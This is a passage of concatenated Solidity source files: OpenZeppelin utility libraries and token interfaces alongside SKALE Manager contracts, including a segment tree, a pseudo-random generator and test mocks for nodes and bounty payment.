the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } pragma solidity ^0.6.0; import "../Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract ContextUpgradeSafe is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } pragma solidity >=0.4.24 <0.7.0; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } pragma solidity ^0.6.0; import "../GSN/Context.sol"; import "../Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // SPDX-License-Identifier: AGPL-3.0-only /* IContractManager.sol - SKALE Manager Interfaces Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaeiv SKALE Manager Interfaces is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager Interfaces is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager Interfaces. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity >=0.6.10 <0.9.0; interface IContractManager { function setContractsAddress(string calldata contractsName, address newContractsAddress) external; function getContract(string calldata name) external view returns (address); } // SPDX-License-Identifier: AGPL-3.0-only /* StringUtils.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; library StringUtils { using SafeMath for uint; function strConcat(string memory a, string memory b) internal pure returns (string memory) { bytes memory _ba = bytes(a); bytes memory _bb = bytes(b); string memory ab = new string(_ba.length.add(_bb.length)); bytes memory strBytes = bytes(ab); uint k = 0; uint i = 0; for (i = 0; i < _ba.length; i++) { strBytes[k++] = _ba[i]; } for (i = 0; i < _bb.length; i++) { strBytes[k++] = _bb[i]; } return string(strBytes); } } pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's uintXX casting operators with added overflow * checks. * * Downcasting from uint256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} to extend it to smaller types, by performing * all math on `uint256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { require(value < 2**255, "SafeCast: value doesn't fit in an int256"); return int256(value); } } // SPDX-License-Identifier: AGPL-3.0-only /* SegmentTree.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; /** * @title Random * @dev The library for generating of pseudo random numbers */ library Random { using SafeMath for uint; struct RandomGenerator { uint seed; } /** * @dev Create an instance of RandomGenerator */ function create(uint seed) internal pure returns (RandomGenerator memory) { return RandomGenerator({seed: seed}); } function createFromEntropy(bytes memory entropy) internal pure returns (RandomGenerator memory) { return create(uint(keccak256(entropy))); } /** * @dev Generates random value */ function random(RandomGenerator memory self) internal pure returns (uint) { self.seed = uint(sha256(abi.encodePacked(self.seed))); return self.seed; } /** * @dev Generates random value in range [0, max) */ function random(RandomGenerator memory self, uint max) internal pure returns (uint) { assert(max > 0); uint maxRand = uint(-1).sub(uint(-1).mod(max)); if (uint(-1).sub(maxRand) == max.sub(1)) { return random(self).mod(max); } else { uint rand = random(self); while (rand >= maxRand) { rand = random(self); } return rand.mod(max); } } /** * @dev Generates random value in range [min, max) */ function random(RandomGenerator memory self, uint min, uint max) internal pure returns (uint) { assert(min < max); return min.add(random(self, max.sub(min))); } } // SPDX-License-Identifier: AGPL-3.0-only /* SegmentTree.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Artem Payvin @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "./Random.sol"; /** * @title SegmentTree * @dev This library implements segment tree data structure * * Segment tree allows effectively calculate sum of elements in sub arrays * by storing some amount of additional data. * * IMPORTANT: Provided implementation assumes that arrays is indexed from 1 to n. * Size of initial array always must be power of 2 * * Example: * * Array: * +---+---+---+---+---+---+---+---+ * | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | * +---+---+---+---+---+---+---+---+ * * Segment tree structure: * +-------------------------------+ * | 36 | * +---------------+---------------+ * | 10 | 26 | * +-------+-------+-------+-------+ * | 3 | 7 | 11 | 15 | * +---+---+---+---+---+---+---+---+ * | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | * +---+---+---+---+---+---+---+---+ * * How the segment tree is stored in an array: * +----+----+----+---+---+----+----+---+---+---+---+---+---+---+---+ * | 36 | 10 | 26 | 3 | 7 | 11 | 15 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | * +----+----+----+---+---+----+----+---+---+---+---+---+---+---+---+ */ library SegmentTree { using Random for Random.RandomGenerator; using SafeMath for uint; struct Tree { uint[] tree; } /** * @dev Allocates storage for segment tree of `size` elements * * Requirements: * * - `size` must be greater than 0 * - `size` must be power of 2 */ function create(Tree storage segmentTree, uint size) external { require(size > 0, "Size can't be 0"); require(size & size.sub(1) == 0, "Size is not power of 2"); segmentTree.tree = new uint[](size.mul(2).sub(1)); } /** * @dev Adds `delta` to element of segment tree at `place` * * Requirements: * * - `place` must be in range [1, size] */ function addToPlace(Tree storage self, uint place, uint delta) external { require(_correctPlace(self, place), "Incorrect place"); uint leftBound = 1; uint rightBound = getSize(self); uint step = 1; self.tree[0] = self.tree[0].add(delta); while(leftBound < rightBound) { uint middle = leftBound.add(rightBound).div(2); if (place > middle) { leftBound = middle.add(1); step = step.add(step).add(1); } else { rightBound = middle; step = step.add(step); } self.tree[step.sub(1)] = self.tree[step.sub(1)].add(delta); } } /** * @dev Subtracts `delta` from element of segment tree at `place` * * Requirements: * * - `place` must be in range [1, size] * - initial value of target element must be not less than `delta` */ function removeFromPlace(Tree storage self, uint place, uint delta) external { require(_correctPlace(self, place), "Incorrect place"); uint leftBound = 1; uint rightBound = getSize(self); uint step = 1; self.tree[0] = self.tree[0].sub(delta); while(leftBound < rightBound) { uint middle = leftBound.add(rightBound).div(2); if (place > middle) { leftBound = middle.add(1); step = step.add(step).add(1); } else { rightBound = middle; step = step.add(step); } self.tree[step.sub(1)] = self.tree[step.sub(1)].sub(delta); } } /** * @dev Adds `delta` to element of segment tree at `toPlace` * and subtracts `delta` from element at `fromPlace` * * Requirements: * * - `fromPlace` must be in range [1, size] * - `toPlace` must be in range [1, size] * - initial value of element at `fromPlace` must be not less than `delta` */ function moveFromPlaceToPlace( Tree storage self, uint fromPlace, uint toPlace, uint delta ) external { require(_correctPlace(self, fromPlace) && _correctPlace(self, toPlace), "Incorrect place"); uint leftBound = 1; uint rightBound = getSize(self); uint step = 1; uint middle = leftBound.add(rightBound).div(2); uint fromPlaceMove = fromPlace > toPlace ? toPlace : fromPlace; uint toPlaceMove = fromPlace > toPlace ? fromPlace : toPlace; while (toPlaceMove <= middle || middle < fromPlaceMove) { if (middle < fromPlaceMove) { leftBound = middle.add(1); step = step.add(step).add(1); } else { rightBound = middle; step = step.add(step); } middle = leftBound.add(rightBound).div(2); } uint leftBoundMove = leftBound; uint rightBoundMove = rightBound; uint stepMove = step; while(leftBoundMove < rightBoundMove && leftBound < rightBound) { uint middleMove = leftBoundMove.add(rightBoundMove).div(2); if (fromPlace > middleMove) { leftBoundMove = middleMove.add(1); stepMove = stepMove.add(stepMove).add(1); } else { rightBoundMove = middleMove; stepMove = stepMove.add(stepMove); } self.tree[stepMove.sub(1)] = self.tree[stepMove.sub(1)].sub(delta); middle = leftBound.add(rightBound).div(2); if (toPlace > middle) { leftBound = middle.add(1); step = step.add(step).add(1); } else { rightBound = middle; step = step.add(step); } self.tree[step.sub(1)] = self.tree[step.sub(1)].add(delta); } } /** * @dev Returns random position in range [`place`, size] * with probability proportional to value stored at this position. * If all element in range are 0 returns 0 * * Requirements: * * - `place` must be in range [1, size] */ function getRandomNonZeroElementFromPlaceToLast( Tree storage self, uint place, Random.RandomGenerator memory randomGenerator ) external view returns (uint) { require(_correctPlace(self, place), "Incorrect place"); uint vertex = 1; uint leftBound = 0; uint rightBound = getSize(self); uint currentFrom = place.sub(1); uint currentSum = sumFromPlaceToLast(self, place); if (currentSum == 0) { return 0; } while(leftBound.add(1) < rightBound) { if (_middle(leftBound, rightBound) <= currentFrom) { vertex = _right(vertex); leftBound = _middle(leftBound, rightBound); } else { uint rightSum = self.tree[_right(vertex).sub(1)]; uint leftSum = currentSum.sub(rightSum); if (Random.random(randomGenerator, currentSum) < leftSum) { // go left vertex = _left(vertex); rightBound = _middle(leftBound, rightBound); currentSum = leftSum; } else { // go right vertex = _right(vertex); leftBound = _middle(leftBound, rightBound); currentFrom = leftBound; currentSum = rightSum; } } } return leftBound.add(1); } /** * @dev Returns sum of elements in range [`place`, size] * * Requirements: * * - `place` must be in range [1, size] */ function sumFromPlaceToLast(Tree storage self, uint place) public view returns (uint sum) { require(_correctPlace(self, place), "Incorrect place"); if (place == 1) { return self.tree[0]; } uint leftBound = 1; uint rightBound = getSize(self); uint step = 1; while(leftBound < rightBound) { uint middle = leftBound.add(rightBound).div(2); if (place > middle) { leftBound = middle.add(1); step = step.add(step).add(1); } else { rightBound = middle; step = step.add(step); sum = sum.add(self.tree[step]); } } sum = sum.add(self.tree[step.sub(1)]); } /** * @dev Returns amount of elements in segment tree */ function getSize(Tree storage segmentTree) internal view returns (uint) { if (segmentTree.tree.length > 0) { return segmentTree.tree.length.div(2).add(1); } else { return 0; } } /** * @dev Checks if `place` is valid position in segment tree */ function _correctPlace(Tree storage self, uint place) private view returns (bool) { return place >= 1 && place <= getSize(self); } /** * @dev Calculates index of left child of the vertex */ function _left(uint vertex) private pure returns (uint) { return vertex.mul(2); } /** * @dev Calculates index of right child of the vertex */ function _right(uint vertex) private pure returns (uint) { return vertex.mul(2).add(1); } /** * @dev Calculates arithmetical mean of 2 numbers */ function _middle(uint left, uint right) private pure returns (uint) { return left.add(right).div(2); } } // SPDX-License-Identifier: AGPL-3.0-only /* ILocker.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; /** * @dev Interface of the Locker functions. */ interface ILocker { /** * @dev Returns and updates the total amount of locked tokens of a given * `holder`. */ function getAndUpdateLockedAmount(address wallet) external returns (uint); /** * @dev Returns and updates the total non-transferrable and un-delegatable * amount of a given `holder`. */ function getAndUpdateForbiddenForDelegationAmount(address wallet) external returns (uint); } // SPDX-License-Identifier: AGPL-3.0-only /* NodesMock.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "../BountyV2.sol"; import "../Permissions.sol"; contract NodesMock is Permissions { uint public nodesCount = 0; uint public nodesLeft = 0; // nodeId => timestamp mapping (uint => uint) public lastRewardDate; // nodeId => left mapping (uint => bool) public nodeLeft; // nodeId => validatorId mapping (uint => uint) public owner; function registerNodes(uint amount, uint validatorId) external { for (uint nodeId = nodesCount; nodeId < nodesCount + amount; ++nodeId) { lastRewardDate[nodeId] = now; owner[nodeId] = validatorId; } nodesCount += amount; } function removeNode(uint nodeId) external { ++nodesLeft; nodeLeft[nodeId] = true; } function changeNodeLastRewardDate(uint nodeId) external { lastRewardDate[nodeId] = now; } function getNodeLastRewardDate(uint nodeIndex) external view returns (uint) { require(nodeIndex < nodesCount, "Node does not exist"); return lastRewardDate[nodeIndex]; } function isNodeLeft(uint nodeId) external view returns (bool) { return nodeLeft[nodeId]; } function getNumberOnlineNodes() external view returns (uint) { return nodesCount.sub(nodesLeft); } function checkPossibilityToMaintainNode(uint /* validatorId */, uint /* nodeIndex */) external pure returns (bool) { return true; } function getValidatorId(uint nodeId) external view returns (uint) { return owner[nodeId]; } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleManagerMock.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol"; import "../interfaces/IMintableToken.sol"; import "../Permissions.sol"; contract SkaleManagerMock is Permissions, IERC777Recipient { IERC1820Registry private _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); bytes32 constant public ADMIN_ROLE = keccak256("ADMIN_ROLE"); constructor (address contractManagerAddress) public { Permissions.initialize(contractManagerAddress); _erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensRecipient"), address(this)); } function payBounty(uint validatorId, uint amount) external { IERC777 skaleToken = IERC777(contractManager.getContract("SkaleToken")); require(IMintableToken(address(skaleToken)).mint(address(this), amount, "", ""), "Token was not minted"); require( IMintableToken(address(skaleToken)) .mint(contractManager.getContract("Distributor"), amount, abi.encode(validatorId), ""), "Token was not minted" ); } function tokensReceived( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external override allow("SkaleToken") // solhint-disable-next-line no-empty-blocks { } } pragma solidity ^0.6.0; /** * @dev Interface of the global ERC1820 Registry, as defined in the * https://eips.ethereum.org/EIPS/eip-1820[EIP]. Accounts may register * implementers for interfaces in this registry, as well as query support. * * Implementers may be shared by multiple accounts, and can also implement more * than a single interface for each account. Contracts can implement interfaces * for themselves, but externally-owned accounts (EOA) must delegate this to a * contract. * * {IERC165} interfaces can also be queried via the registry. * * For an in-depth explanation and source code analysis, see the EIP text. */ interface IERC1820Registry { /** * @dev Sets `newManager` as the manager for `account`. A manager of an * account is able to set interface implementers for it. * * By default, each account is its own manager. Passing a value of `0x0` in * `newManager` will reset the manager to this initial state. * * Emits a {ManagerChanged} event. * * Requirements: * * - the caller must be the current manager for `account`. */ function setManager(address account, address newManager) external; /** * @dev Returns the manager for `account`. * * See {setManager}. */ function getManager(address account) external view returns (address); /** * @dev Sets the `implementer` contract as ``account``'s implementer for * `interfaceHash`. * * `account` being the zero address is an alias for the caller's address. * The zero address can also be used in `implementer` to remove an old one. * * See {interfaceHash} to learn how these are created. * * Emits an {InterfaceImplementerSet} event. * * Requirements: * * - the caller must be the current manager for `account`. * - `interfaceHash` must not be an {IERC165} interface id (i.e. it must not * end in 28 zeroes). * - `implementer` must implement {IERC1820Implementer} and return true when * queried for support, unless `implementer` is the caller. See * {IERC1820Implementer-canImplementInterfaceForAddress}. */ function setInterfaceImplementer(address account, bytes32 interfaceHash, address implementer) external; /** * @dev Returns the implementer of `interfaceHash` for `account`. If no such * implementer is registered, returns the zero address. * * If `interfaceHash` is an {IERC165} interface id (i.e. it ends with 28 * zeroes), `account` will be queried for support of it. * * `account` being the zero address is an alias for the caller's address. */ function getInterfaceImplementer(address account, bytes32 interfaceHash) external view returns (address); /** * @dev Returns the interface hash for an `interfaceName`, as defined in the * corresponding * https://eips.ethereum.org/EIPS/eip-1820#interface-name[section of the EIP]. */ function interfaceHash(string calldata interfaceName) external pure returns (bytes32); /** * @notice Updates the cache with whether the contract implements an ERC165 interface or not. * @param account Address of the contract for which to update the cache. * @param interfaceId ERC165 interface for which to update the cache. */ function updateERC165Cache(address account, bytes4 interfaceId) external; /** * @notice Checks whether a contract implements an ERC165 interface or not. * If the result is not cached a direct lookup on the contract address is performed. * If the result is not cached or the cached value is out-of-date, the cache MUST be updated manually by calling * {updateERC165Cache} with the contract address. * @param account Address of the contract to check. * @param interfaceId ERC165 interface to check. * @return True if `account` implements `interfaceId`, false otherwise. */ function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool); /** * @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache. * @param account Address of the contract to check. * @param interfaceId ERC165 interface to check. * @return True if `account` implements `interfaceId`, false otherwise. */ function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool); event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer); event ManagerChanged(address indexed account, address indexed newManager); } pragma solidity ^0.6.0; /** * @dev Interface of the ERC777TokensRecipient standard as defined in the EIP. * * Accounts can be notified of {IERC777} tokens being sent to them by having a * contract implement this interface (contract holders can be their own * implementer) and registering it on the * https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry]. * * See {IERC1820Registry} and {ERC1820Implementer}. */ interface IERC777Recipient { /** * @dev Called by an {IERC777} token contract whenever tokens are being * moved or created into a registered account (`to`). The type of operation * is conveyed by `from` being the zero address or not. * * This call occurs _after_ the token contract's state is updated, so * {IERC777-balanceOf}, etc., can be used to query the post-operation state. * * This function may revert to prevent the operation from being executed. */ function tokensReceived( address operator, address from, address to, uint256 amount, 